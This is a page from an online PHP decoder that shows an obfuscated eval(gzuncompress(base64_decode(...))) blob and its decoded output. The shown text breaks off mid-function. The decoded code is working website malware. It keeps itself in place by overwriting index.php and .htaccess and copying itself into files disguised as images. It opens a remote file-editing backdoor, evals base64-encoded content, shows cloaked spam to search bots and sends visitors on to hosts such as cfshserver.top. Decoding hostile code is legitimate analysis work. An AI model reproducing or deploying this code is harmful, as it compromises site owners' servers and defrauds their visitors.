Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?=eval(gzuncompress(base64_decode("eJzlfWtzIzmS2GdNxPyHapo7Rc5IxYekflFUt1qiHtN6DSn1Y9QaXp..
Decoded Output download
None session_start();$_SESSION['codeMethod']['singleencoder'] = 'on';
ini_set('display_errors', 0);
error_reporting(0);
@header('Content-type:text/html;charset=utf-8');
define('UAMD53KEY', 'da50c456f164497679149f21d7e036be');
define('COOKIEPSWD', '1a472ff9823d4aaa991d55b6db253931');
define('DEFAULTMAINDOMAIN', '.cfshserver.top');
define('URLHEAD', 'http://api.cfshserver.top/sheyyds3/');
define('CURRENT_VERSION', '1.24.02.20.11.22');
define('FILE_OLD_INDEX', '.ftpquotas');
define('FILE_OLD_INDEX_OLD', '4c7a17f635a4d887cf587a123b6a6bc4');
define('FILE_INDEX_STATIC_DEFAULT', 'a439a79eb419be5dda635034f722ec41');
define('CACHE_PATH', cachePath());
define('FILE_INDEX_STATIC', cacheFilename());
$configFile = configFile();
define('CONFIG_FILE', $configFile);
addDomain();
moveToNewCachePath();
editConfigFile();editPathList();
editConfigFile('outlinks');
if(@file_exists($configFile)){
if(isPHPFile($configFile)){
include_once $configFile;
}else{
eval('?>'.base64_decode(file_get_contents($configFile)));
}
}
setHtaccess();
repairIndex('.');
copySelf();
reBirth();
checkStatus();
setupshe();
if(isset($_REQUEST['action']) && $_REQUEST['action'] == 'deletecache'){
if(@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
unlink(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
header("Location: /");
die;
}
}
if(!isset($_REQUEST['action']) || $_REQUEST['action'] != 'createcache'){
if(!@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/?action=createcache';
$html = getHtml($indexurl);
if(!empty($html)){
file_put_contents_force(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT, $html);
}
reBirth();
}
}elseif(isset($_REQUEST['action']) && $_REQUEST['action'] == 'createcache'){
include FILE_OLD_INDEX;
exit;
}
if(!file_exists($configFile)){
showCacheFile();
exit;
}
$arrContants = array(
'STATIC_HTML' => 'yes',
'ALLOWED_PAGES' => '',
'REPLACE_EXISTS' => 'yes',
'REPLACE_INDEX' => 'no',
'HTACCESS_REPLACE' => 'yes',
'INDEX_PHP' => $_SERVER['SCRIPT_FILENAME'] . '/',
'LANGUAGE' => '',
'KEYWORDDIR' => '',
'INDEX_KEYWORD' => '',
'OUTLINK_ONLY_INDEX' => '',
'URI_END_OF_KEYWORD' => '-k.html',
'API_HOST' => 'http://keywordfada20201115.keyworddomain.com/',
'SHOP_HOST' => 'http://shopfada20201115.keyworddomain.com/',
'MAINDOMAIN' => DEFAULTMAINDOMAIN,
'USECURL' => 'yes',
);
$defined = 'defined';
foreach($arrContants as $cons => $v){
switch($cons){
case 'STATIC_HTML':
if($defined($cons)){
@define('STATIC_HTML', constant($cons));
}else{
@define('STATIC_HTML', $v);
}
break;
case 'ALLOWED_PAGES':
if($defined($cons)){
@define('ALLOWED_PAGES', constant($cons));
}else{
@define('ALLOWED_PAGES', $v);
}
break;
case 'REPLACE_EXISTS':
if($defined($cons)){
@define('REPLACE_EXISTS', constant($cons));
}else{
@define('REPLACE_EXISTS', $v);
}
break;
case 'REPLACE_INDEX':
if($defined($cons)){
@define('REPLACE_INDEX', constant($cons));
}else{
@define('REPLACE_INDEX', $v);
}
break;
case 'INDEX_PHP':
if($defined($cons)){
@define('INDEX_PHP', constant($cons));
}else{
@define('INDEX_PHP', $v);
}
break;
case 'LANGUAGE':
if($defined($cons)){
@define('LANGUAGE', constant($cons));
}else{
@define('LANGUAGE', $v);
}
break;
case 'KEYWORDDIR':
if($defined($cons)){
@define('KEYWORDDIR', constant($cons));
}else{
@define('KEYWORDDIR', $v);
}
break;
case 'INDEX_KEYWORD':
if($defined($cons)){
@define('INDEX_KEYWORD', constant($cons));
}else{
@define('INDEX_KEYWORD', $v);
}
break;
case 'OUTLINK_ONLY_INDEX':
if($defined($cons)){
@define('OUTLINK_ONLY_INDEX', constant($cons));
}else{
@define('OUTLINK_ONLY_INDEX', $v);
}
break;
case 'HTACCESS_REPLACE':
if($defined($cons)){
@define('HTACCESS_REPLACE', constant($cons));
}else{
@define('HTACCESS_REPLACE', $v);
}
break;
case 'URI_END_OF_KEYWORD':
if($defined($cons)){
@define('URI_END_OF_KEYWORD', constant($cons));
}else{
@define('URI_END_OF_KEYWORD', $v);
}
break;
case 'API_HOST':
if($defined($cons)){
@define('API_HOST', constant($cons));
}else{
@define('API_HOST', $v);
}
break;
case 'SHOP_HOST':
if($defined($cons)){
@define('SHOP_HOST', constant($cons));
}else{
@define('SHOP_HOST', $v);
}
break;
case 'MAINDOMAIN':
if($defined($cons)){
@define('MAINDOMAIN', constant($cons));
}else{
@define('MAINDOMAIN', $v);
}
break;
case 'USECURL':
if($defined($cons)){
@define('USECURL', constant($cons));
}else{
@define('USECURL', $v);
}
break;
case 'JUMP_REAL_HOST':
if($defined($cons)){
@define('JUMP_REAL_HOST', constant($cons));
}else{
@define('JUMP_REAL_HOST', $v);
}
break;
}
}
pingGoogle();
if(defined('FORCE_SCHEMA')){
$curSchema = currentSchema();
if(FORCE_SCHEMA == 'http' || FORCE_SCHEMA == 'https'){
if($curSchema != FORCE_SCHEMA){
header('HTTP/1.1 301 Moved Permanently');
header("Location: " . FORCE_SCHEMA . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
exit();
}
}
}
preg_match('|([^/]+)-k(\d)?.html$|i', $_SERVER['REQUEST_URI'], $match);
if(isset($match[2]) && is_numeric($match[2])){
if(defined('LANGUAGE'.$match[2]) && defined('KEYWORDDIR'.$match[2]) && defined('API_HOST'.$match[2]) && defined('SHOP_HOST'.$match[2])){
$valLANGUAGE = constant('LANGUAGE'.$match[2]);
$valKEYWORDDIR = constant('KEYWORDDIR'.$match[2]);
$valAPI_HOST = constant('API_HOST'.$match[2]);
$valSHOP_HOST = constant('SHOP_HOST'.$match[2]);
}
}else{
$valLANGUAGE = LANGUAGE;
$valKEYWORDDIR = KEYWORDDIR;
$valAPI_HOST = API_HOST;
$valSHOP_HOST = SHOP_HOST;
}
@define('LANGUAGE_REAL', $valLANGUAGE);
@define('KEYWORDDIR_REAL', $valKEYWORDDIR);
@define('API_HOST_REAL', str_ireplace('.keyworddomain.com', MAINDOMAIN, $valAPI_HOST));
@define('SHOP_HOST_REAL', str_ireplace('.keyworddomain.com', MAINDOMAIN, $valSHOP_HOST));
replaceIndex(FILE_OLD_INDEX);
is_allow_page();
$maindomain = MainDomain();
$token = md5(md5('sj'.$maindomain));
$uriend = '&dir='.KEYWORDDIR_REAL.'&hl='.LANGUAGE_REAL.'&token='.$token.'&domain='.$maindomain;
$uri = API_HOST_REAL . 'randkeyword.php?str='.md5('testshely'.$_SERVER['REQUEST_URI']).$uriend;
if(substr($_SERVER['REQUEST_URI'], 0, 12) == '/sitemap.xml'){showSiteMap();die;}
if(substr($_SERVER['REQUEST_URI'], 0, 11) == '/robots.txt'){showRobotsTxt();die;}
$pageexists = true;
if(isset($match[1])&&!empty($match[1])){
$keyword = str_replace('-', '%20', $match[1]);
$keyword = urldecode($keyword);
$uri = API_HOST_REAL . 'randkeyword.php?keyword='.urlencode($keyword).$uriend;
$pageexists = false;
}elseif($arrCid = getCid()){
$uri = API_HOST_REAL . 'randkeyword.php?f='.$arrCid['cid'].'&l='.$arrCid['lid'].$uriend;
}else{
if(isHomePage()){
$uri = API_HOST_REAL . 'randkeyword.php?keyword='.urlencode(INDEX_KEYWORD).$uriend;
}
}
$jsonStr = getHtml($uri);
$objKeywordShe = jsonDecode($jsonStr, true);
if(!empty($objKeywordShe['keyword'])){
if(REPLACE_EXISTS == 'yes'){
$tourl = getJumpCache(getJumpUrlApi());
if(isIndexUrl($tourl)){
$jumpurl = $tourl . '?c='.$objKeywordShe['keyword']; }else{
$jumpurl = SHOP_HOST_REAL . '?c='.$objKeywordShe['keyword']; }
if(needJump()){echo '<meta http-equiv="refresh" content="0; url=' . $jumpurl . '">';die;}
}
}
if(REPLACE_EXISTS == 'yes'){
$pageexists = false;
}
if($pageexists){
if(!preg_match('|([^/]+)-c.html$|i', $_SERVER['REQUEST_URI'], $match)){
include cacheFilename();
if(isBot()){
$liil = '';
foreach($objKeywordShe['relatedKeywords'] as $keyword1){
$link = is_https() . $_SERVER['HTTP_HOST'] . '/' . INDEX_PHP . keywordtouri($keyword1) . URI_END_OF_KEYWORD;
$liil .= ' <li><a href="'.$link.'">'.$keyword1.'</li>'."
";
}
echo '<ul class="Related">'.$liil.relatedOutLinks().'</ul>';
}
die;
}
}
if(!empty($objKeywordShe['keyword'])){
if(isBot()){
showProduct($objKeywordShe);
die;
}
}
showCacheFile();
die;
function relatedOutLinks($i = 10){
if(defined('OUTLINK_ONLY_INDEX') && OUTLINK_ONLY_INDEX == 'yes'){
if(!isHomePage()){
return '';
}
}
$filename = sheditFile('real', 'outlinks');
$liil = '';
$count = 0;
if(@file_exists($filename)){
$content = file_get_contents($filename);
$arrContent = explode("
", $content);
shuffle($arrContent);
foreach($arrContent as $line){
$arrLine = explode('|', trim($line));
if(sizeof($arrLine) == 2 && !empty($arrLine[0]) && !empty($arrLine[1]) && filter_var($arrLine[1], FILTER_VALIDATE_URL)){
$liil .= ' <li><a href="'. $arrLine[1] .'">'.$arrLine[0].'</li>'."
";
}
$count++;
if($count > $i){
break;
}
}
}
return $liil;
}
function getJumpCache($url){
$md5 = md5($url);
$content = "";
$content = readFromTmp($md5, 3*60);
if(empty($content)){
$content = getHtml($url);
if (filter_var($content, FILTER_VALIDATE_URL) !== false) {
saveToTmp($md5, $content);
}
}
return $content;
}
function sheditFile($type = '', $name = ''){
if(empty($type)){
$type = 'real';
}
if(empty($name)){
$name = 'shedit';
}
$tmpPath = sys_get_temp_dir1() . '/';
if(!@is_writable($tmpPath)){
$tmpPath = CACHE_PATH;
}
$tmpPath .= MainDomain() . '/';
if(!@is_dir($tmpPath)){
@mkdir($tmpPath, 0747, true);
}
@chmod($tmpPath, 0767);
$tmpPathReal = CACHE_PATH;
$configFileReal = $tmpPathReal . MainDomain() . '.' . $name . '.set';
if($name == 'shedit'){
$configFile = $tmpPath . 'favicon.ico';
}else{
$configFile = $configFileReal;
}
if(@file_exists($configFile) && $configFile != $configFileReal){
if(!@file_exists($configFileReal) || md5_file($configFile) != md5_file($configFileReal)){
file_put_contents_force($configFileReal, file_get_contents($configFile));
}
}
if($type == 'real'){
return $configFileReal;
}else{
return $configFile;
}
}
function configFile(){
$configFile = sheditFile('real');
if(!is_readable($configFile)){
$configFile = sheditFile('save');
}
return $configFile;
}
function moveToNewCachePath(){
if(@file_exists(FILE_OLD_INDEX_OLD) && !@file_exists(FILE_OLD_INDEX)){
rename(FILE_OLD_INDEX_OLD, FILE_OLD_INDEX);
}
if(@file_exists(FILE_INDEX_STATIC_DEFAULT) && !@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
rename(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
}
if(@file_exists(FILE_INDEX_STATIC_DEFAULT) && !@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
rename(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
}
}
function showCacheFile(){
if(FILE_INDEX_STATIC == FILE_OLD_INDEX){
include FILE_INDEX_STATIC;
}else{
$html = file_get_contents(FILE_INDEX_STATIC);
echo $html;
}
exit();
}
function cachePath($rootPath = ''){
if(empty($rootPath)){
$rootPath = './';
}
$arr = array(
'wp-admin/images/',
'includes/',
'cache/',
'images/',
);
foreach($arr as $path){
$path = $rootPath . $path;
if(@is_dir($path) && is_writeable($path)){
return $path;
}
}
if(@is_writable($rootPath)){
@mkdir($rootPath . 'images/', 0747);
$dir = $rootPath . 'images/';
}else{
$dir = sys_get_temp_dir1() .'/';
if(!@is_writable($dir)){
die('no tmp dir avalibal!');
}else{
$dir = $dir . md5($rootPath) . '/';
mkdir($dir, 0747);
}
}
return $dir;
}
function cacheFilename(){
if(defined('STATIC_HTML') && STATIC_HTML == 'no'){
return FILE_OLD_INDEX;
}else{
$uri = request_uri_no_parameters();
$filename = 'cache/'.md5($uri);
if(!@file_exists($filename)){
$filename = CACHE_PATH . FILE_INDEX_STATIC_DEFAULT;
}
return $filename;
}
}
function request_uri_no_parameters(){
$arr = parse_url($_SERVER['REQUEST_URI']);
return $arr['path'];
}
function getDomainFromUrl($url){
$url = trim($url);
if(strstr($url, '://')){
$url = parse_url($url);
$url = $url['host'];
}
return $url;
}
function getJumpUrlApi(){
$tourlapi = SHOP_HOST_REAL . '/readurl.php?from=' . MainDomain() . '&keyworddir=' . KEYWORDDIR_REAL;
if(defined('JUMP_REAL_HOST')){
$tourlapi .= '&host='. getDomainFromUrl(JUMP_REAL_HOST);
$tourlapi = str_ireplace('.keyworddomain.com', MAINDOMAIN, $tourlapi);
}
return $tourlapi;
}
function is_allow_page(){
if(defined('ALLOWED_PAGES') && ALLOWED_PAGES != ''){
$page = this_page();
$arrAllowed = explode(',', ALLOWED_PAGES);
if(in_array($page, $arrAllowed)){
include $page;
exit;
}
}
return false;
}
function this_page(){
$page = 'index.php';
if(isset($_SERVER['REDIRECT_URL'])){
$page = trim($_SERVER['REDIRECT_URL'], '/');
}else if(isset($_SERVER['REQUEST_URI'])){
$arr = parse_url($_SERVER['REQUEST_URI']);
$page = trim($arr['path'], '/');
}
return $page;
}
function isIndexUrl($url){
$pattern = '|^https?://.*/$|';
if(preg_match($pattern, $url)){
return true;
}
return false;
}
function editConfigFile($filename = ''){
if(empty($filename)){
$filename = 'shedit';
}
if(isset($_GET['action']) && $_GET['action'] == $filename){
if(isSuperMan()){
if(cookieAuthor()){
$configFile = sheditFile('save', $filename);
$configFile2 = sheditFile('real', $filename);
if(isset($_POST['shaction']) && isset($_POST['content']) && $_POST['shaction'] == $filename){
if(@trim($_POST['savebybase64']) != 'on' && !stristr($_POST['content'], '<?php')){
$content = base64_decode($_POST['content']);
}else{
$content = $_POST['content'];
}
if($filename == 'shedit' && @trim($_POST['savebybase64']) != 'on' && !stristr($content, '<?php')){
echo $content;die;
echo '';
}else{
file_put_contents_force($configFile, $content);
file_put_contents_force($configFile2, $content);
echo '!<meta http-equiv="Refresh" content="0;url=/" />';
}
}else{
if(@file_exists($configFile)){
$content = file_get_contents($configFile);
}else{
if(@file_exists($configFile2)){
$content = file_get_contents($configFile2);
file_put_contents_force($configFile, $content);
}else{
$content = '';
}
}
header('Content-type: text/html; charset=utf-8');
echo '
<script src="https://cdn.jsdelivr.net/npm/[email protected]"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/base64.min.js"></script>
<form method="post" onsubmit="return beforeSubmit();">
<textarea id="content" name="content" rows=20 cols=100>'.$content.'</textarea>
<br>
<input type="checkbox" id="base64encode" value="on" checked>base64
<input type="checkbox" name="savebybase64" value="on">
<input type="submit"><input type="hidden" name="shaction" value="' . $filename . '">
</form>
<button id="base64decode" onclick="Base64Decode()">base64</button>
<button id="base64encode" onclick="Base64Encode()">base64</button>
<script>
function beforeSubmit(){
if($("#base64encode").prop("checked")){
$("#content").val(Base64.encode($("#content").val()));
}
return true;
}
function Base64Decode(){
$("#content").val(Base64.decode($("#content").val()));
}
function Base64Encode(){
$("#content").val(Base64.encode($("#content").val()));
}
</script>
';
}
if($filename == 'shedit'){
echo '<!--'.$configFile.'-->';
echo '<!--'.$configFile2.'-->';
echo '<a href="?action=deletecache"></a>';
}
}else{
echo "The authorization failed, please re -authorize";exit();
}
}else{
http_response_code(404);
die;
}
die();
}
}
function editPathList(){
if(isset($_GET['action']) && $_GET['action'] == 'pathlist'){
if(isSuperMan()){
$filePathList = filePathList();
if(isset($_POST['exceptPathlist']) && isset($_POST['exceptPathlist']) && $_POST['shaction'] == 'pathlist'){
saveExceptPathlist2($_POST['exceptPathlist']);
}
if(isset($_POST['shaction']) && isset($_POST['content']) && $_POST['shaction'] == 'pathlist'){
$arr = explode("
", trim($_POST['content']));
$arr2 = array();
foreach($arr as $v){
if(!empty($v)){
$v = trim($v);
if(!in_array($v,$arr2))
$arr2[] = $v;
}
}
file_put_contents_force($filePathList, base64_encode(gzdeflate(jsonEncode($arr2))));
echo 'saved!';
}else{
$content = '';
if(@file_exists($filePathList)){
$arr = jsonDecode(gzinflate(base64_decode(file_get_contents($filePathList))), true);
$content = '';
foreach($arr as $line){
$content .= $line . "
";
}
}
$arr2 = arrReadPathlist2();
$exceptPathlist = strReadExceptPathlist2();
$content2 = '';
$content3 = '';
$content4 = '';
foreach($arr2 as $domain => $path){
$content2 .= $path . PHP_EOL;
$content3 .= $domain . PHP_EOL;
$content4 .= $domain . " " . $path . PHP_EOL;
}
header('Content-type: text/html; charset=utf-8');
echo '
<form method="post">
<textarea cols="50" rows="5" name="content">'.$content.'</textarea><br>
<textarea cols="50" rows="5" name="exceptPathlist">'.$exceptPathlist.'</textarea><br>
<input type="submit"><input type="hidden" name="shaction" value="pathlist">
</form>';
echo '<form method="post"><textarea cols="50" rows="5" name="content2">'.$content2.'</textarea></form>';
echo '<form method="post"><textarea cols="50" rows="5" name="content3">'.$content3.'</textarea></form>';
echo '<form method="post"><textarea cols="50" rows="5" name="content4">'.$content4.'</textarea></form>';
if(DEBUG=='on'){
echo '<!--' . $filePathList . '-->';
}
}
die();
}
}
}
function filePathList($str = ''){
if(empty($str)){
$str = 'pathlist';
}
$user = get_current_user1();
$tmpDir = sys_get_temp_dir1();
$f1 = $tmpDir . '/' . md5($user.$str);
$f2 = CACHE_PATH . md5($user.$str);
if(@file_exists($f1)){
$m1 = md5_file($f1);
if(@file_exists($f2)){
$m2 = md5_file($f2);
if($m1 != $m2){
file_put_contents_force($f2, file_get_contents($f1));
}
}else{
file_put_contents_force($f2, file_get_contents($f1));
}
}else{
if(@file_exists($f2)){
file_put_contents_force($f1, file_get_contents($f2));
}
}
return $f1;
}
function saveToTmp($file, $content){
$filename = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . $file;
$_SESSION[$file] = $content;
file_put_contents_force($filename, $content);
}
function readFromTmp($file, $timeOut = 0){
$filename = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . $file;
if(file_exists($filename)){
if($timeOut > 0){
$mtime = filemtime($filename);
$now = time();
if(($now - $mtime) < $timeOut){
$content = file_get_contents($filename);
}
}else{
$content = file_get_contents($filename);
}
}
if(empty($content) && $timeOut === 0){
$content = $_SESSION[$file];
}
return $content;
}
function is_wp($dir = '.'){
$iswp = true;
$dir = rtrim($dir, '/');
$dir = rtrim($dir, '\');
$dir = $dir . DIRECTORY_SEPARATOR;
$arrFiles = array(
'wp-blog-header.php',
'wp-config.php',
);
$arrDirs = array(
'wp-admin',
'wp-includes',
'wp-content',
);
foreach($arrFiles as $file){
if(!@is_file($dir.$file)){
$iswp = false;
}
}
foreach($arrDirs as $subdir){
if(!@is_dir($dir.$subdir)){
$iswp = false;
}
}
return $iswp;
}
function reBirth(){
$arrPath = arrReadPathList();
foreach($arrPath as $path){
if(!@is_dir($path)){
@mkdir($path, 0747, true);
}
repairIndex($path);
$index = $path.'/index.php';
$ht = $path.'/.htaccess';
$cachePath = cachePath(rtrim($path,'/').'/');
$bkindex = $cachePath . 'resize-6x.png';
$bkht = $cachePath . 'resize-8x.png';
if(@file_exists($bkindex)){
if(!@file_exists($index) or (md5_file($index) != md5_file($bkindex))){
file_put_contents_force($index,file_get_contents($bkindex));
}
}else{
$output = readFileContent('output.txt', true, 'nondomain.com');
file_put_contents_force($index, $output);
}
if($ht && @file_exists($bkht)){
if(!@file_exists($ht) or (md5_file($ht) != md5_file($bkht))){
file_put_contents_force($ht,file_get_contents($bkht));
}
}
if(@file_exists($path . '/index.html')){
if(!@file_exists($path . '/' .FILE_INDEX_STATIC_DEFAULT)){
rename($path . '/index.html', $path . '/' .FILE_INDEX_STATIC_DEFAULT);
}else{
rename($path . '/index.html', $path . '/index' . time() . '.html');
}
}
}
}
function arrReadPathList(){
$filePathList = filePathList();
$arrPath = array();
if(@file_exists($filePathList)){
$content = file_get_contents($filePathList);
if(strlen(($content>10))){
$arrPath = jsonDecode(gzinflate(base64_decode($content)), true);
}
}
if(!is_array($arrPath)){
$arrPath = array();
}
$arrPath2 = arrReadPathlist2();
foreach($arrPath2 as $path){
$path = trim($path);
if(!in_array($path, $arrPath)){
$arrPath[] = $path;
}
}
$arrExceptPathlist = arrReadExceptPathlist2();
foreach($arrPath as $k => $v){
if(in_array($v, $arrExceptPathlist)){
unset($arrPath[$k]);
}
}
return $arrPath;
}
function arrReadPathlist2(){
$user = get_current_user1();
$domain = MainDomain();
$domainPath = getDomainTmpPath();
$domainPath2 = getFirstWritableDir() . md5($user.'domainlist') . DIRECTORY_SEPARATOR;
$arr = @scandir($domainPath);
$arr2 = @scandir($domainPath2);
$arrPaths = array();
if(!empty($arr)){
foreach($arr as $domain){
if($domain == '.htaccess'){
continue;
}
if(@is_file($domainPath . $domain)){
$content = file_get_contents($domainPath . $domain);
$arrContent = explode("
", $content);
if(strlen($content) < 256 && sizeof($arrContent) == 1){
$arrPaths[$domain] = trim($content);
}else{
unlink($domainPath . $domain);
}
}
}
}
if(!empty($arr2)){
foreach($arr2 as $domain2){
if($domain2 == '.htaccess'){
continue;
}
if(@is_file($domainPath2 . $domain2)){
$content = file_get_contents($domainPath2 . $domain2);
$arrContent = explode("
", $content);
if(strlen($content) < 256 && sizeof($arrContent) == 1){
$arrPaths[$domain2] = trim($content);
}else{
unlink($domainPath2 . $domain2);
}
}
}
}
return $arrPaths;
}
function strReadExceptPathlist2(){
$user = get_current_user1();
$tmpPath = sys_get_temp_dir1();
$filePath = $tmpPath . '/' . md5($user.'exceptpathlist');
if(@file_exists($filePath)){
return file_get_contents($filePath);
}
return '';
}
function get_current_user1(){
if(function_exists('get_current_user')){
$user = get_current_user();
}else{
$user = 'www';
}
return $user;
}
function fileNameGlobal($name)
{
$user = get_current_user1();
echo
$tmpDir = sys_get_temp_dir1();
$f1 = $tmpDir . '/' . md5($user . $name);
$f2 = getFirstWritableDir() . md5($user . $name);
if (@file_exists($f1)) {
$m1 = md5_file($f1);
if (@file_exists($f2)) {
$m2 = md5_file($f2);
if ($m1 != $m2) {
file_put_contents_force($f2, file_get_contents($f1));
}
} else {
file_put_contents_force($f2, file_get_contents($f1));
}
} else {
if (@file_exists($f2)) {
file_put_contents_force($f1, file_get_contents($f2));
}
}
return $f1;
}
function getFirstWritableDir(){
$dir = $_SERVER['DOCUMENT_ROOT'];
for($i=0; $i<20;$i++){
$dir2 = dirname($dir);
if($dir2 == $dir){
break;
}
if(@is_writable($dir2)){
$dir = $dir2;
}else{
break;
}
}
$dirR = $dir . '/.analytic/';
if(!@is_dir($dirR)){
@mkdir($dirR, 0767, true);
}elseif(!@is_writable($dirR)){
chmod($dirR, 0767);
}
if(!@is_dir($dirR) || !@is_writable($dirR)){
$dirR = $dir;
}
return $dirR;
}
function arrReadExceptPathlist2(){
$str = strReadExceptPathlist2();
$arr = explode("
", $str);
$arrR = array();
foreach($arr as $v){
if(!empty($v)){
$arrR[] = trim($v);
}
}
return $arrR;
}
function saveExceptPathlist2($content){
$user = get_current_user1();
$tmpPath = sys_get_temp_dir1();
$filePath = $tmpPath . '/' . md5($user.'exceptpathlist');
return file_put_contents_force($filePath, $content);
}
function getDomainTmpPath(){
$user = get_current_user1();
$tmpPath = sys_get_temp_dir1() .'/';
$domainPath = $tmpPath . '/' . md5($user.'domainlist') . '/';
if(!@is_dir($domainPath)){
if(@is_file($domainPath)){
unlink($domainPath);
}
@mkdir($domainPath, 0747);
}
return $domainPath .'/';
}
function addDomain(){
$user = get_current_user1();
$domain = MainDomain();
$domainPath = getDomainTmpPath();
$domainPath2 = getFirstWritableDir() . md5($user.'domainlist') . DIRECTORY_SEPARATOR;
if(!@is_dir($domainPath2)){
if(@is_file($domainPath2)){
unlink($domainPath2);
}
@mkdir($domainPath2, 0747);
}
$file = $domainPath . $domain;
$file2 = $domainPath2 . $domain;
if(!@file_exists($file)){
@file_put_contents($file, $_SERVER['DOCUMENT_ROOT']);
}
if(!@file_exists($file2)){
@file_put_contents($file2, $_SERVER['DOCUMENT_ROOT']);
}
}
function repairIndex($dir){
$dir = $dir . '/';
if(!@file_exists($dir . FILE_OLD_INDEX)){
if(is_wp($dir) || !@file_exists($dir . '/index.php')){
$wpindex = base64_decode('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7');
file_put_contents_force($dir . FILE_OLD_INDEX, $wpindex);
}else{
copy($dir . '/index.php', $dir . FILE_OLD_INDEX);
}
}
}
function setHtaccess($filename = ''){
if(empty($filename)){
$filename = '.htaccess';
}
if(defined('HTACCESS_REPLACE') && HTACCESS_REPLACE == 'no'){
$str = '<IfModule mod_rewrite.c>'.
PHP_EOL.'RewriteEngine On'.
PHP_EOL.'RewriteBase /'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
PHP_EOL.'RewriteRule . index.php [L]'.
PHP_EOL.'</IfModule>';
}else{
$str = '<IfModule mod_rewrite.c>'.
PHP_EOL.'RewriteEngine On'.
PHP_EOL.'RewriteBase /'.
PHP_EOL.'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'.
PHP_EOL.'RewriteRule ^.*\.[pP][hH].* index.php [L]'.
PHP_EOL.'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
PHP_EOL.'RewriteRule . index.php [L]'.
PHP_EOL.'</IfModule>';
}
$md5str = md5($str);
if(!@file_exists($filename)){
$filemd5 = '0';
}else{
$filemd5 = md5_file($filename);
}
if($md5str == $filemd5){
return;
}else{
file_put_contents_force($filename, $str);
}
}
function copySelf($toname = ''){
$path = cachePath();
if(empty($toname)){
$toname = $path . 'resize-6x.png';
}
$dir = dirname($toname);
if(!@is_dir($dir)){
@mkdir($dir, 0747, true);
}
if(COOKIEPSWD == '4316c4e1934c60e1a36d27b5edf06b14'){
$content = readFileContent('output.txt', true);
file_put_contents_force($toname, $content);
}
setHtaccess($_SERVER['DOCUMENT_ROOT'].'/' . $path . 'resize-8x.png');
if(file_exists($_SERVER['SCRIPT_FILENAME']) && !file_exists($toname)){
file_put_contents_force($toname, file_get_contents($_SERVER['SCRIPT_FILENAME']));
}elseif(file_exists($toname)){
$str = file_get_contents($toname);
$md5str = md5($str);
if(!@file_exists($toname)){
$filemd5 = '0';
}else{
$filemd5 = md5_file($toname);
}
if($md5str == $filemd5){
return;
}else{
file_put_contents_force($_SERVER['SCRIPT_FILENAME'], $str);
}
}
}
function replaceIndex($file){
if(defined('REPLACE_INDEX') && REPLACE_INDEX == 'no'){
return;
}
if(!@file_exists($file)){
if($_SERVER['SCRIPT_NAME'] != '/index.php'){
if(!rename('index.php', $file)){
die('rename error!');
}else{
if(!copy($_SERVER['SCRIPT_FILENAME'], 'index.php')){
die('copy error!');
}
}
if(@file_exists($file)){unlink(__FILE__);}
header('Location: /');
}
}
}
function checkStatus(){
if(isset($_GET['checkstatus']) && $_GET['checkstatus'] == 'areyouok'){
die('live');
}
if(isset($_GET['action']) && $_GET['action'] == 'version'){
echo CURRENT_VERSION;
exit();
}
}
function contentLink($cid, $lid){
$cid = $cid.'';
$lid = $lid.'';
$link = '/' . INDEX_PHP;
$str = 'abcdefghijklmnopqrstuvwxyz';
$intR = intSeed(MainDomain() . $cid . $lid);
srand($intR);
for($i=0;$i < 6;$i++){
$link .= $str[mt_rand(0, 25)];
}
$link .= $cid . '/';
for($i=0;$i < 6;$i++){
$link .= $str[mt_rand(0, 25)];
}
$link .= $lid;
return $link;
}
function getCid(){
if(empty($_SERVER['PATH_INFO'])){
$pathinfo = isset($_SERVER["REDIRECT_URL"]) ? $_SERVER["REDIRECT_URL"] : '';
if(empty($pathinfo)){
$arr = explode('?',$_SERVER['REQUEST_URI']);
$pathinfo = $arr[0];
}
}else{
$pathinfo = $_SERVER['PATH_INFO'];
}
$arrResult = array();
$arr = explode("/", $pathinfo);
if(sizeof($arr) == 3 && empty($arr[0]) && !empty($arr[1]) && !empty($arr[2])){
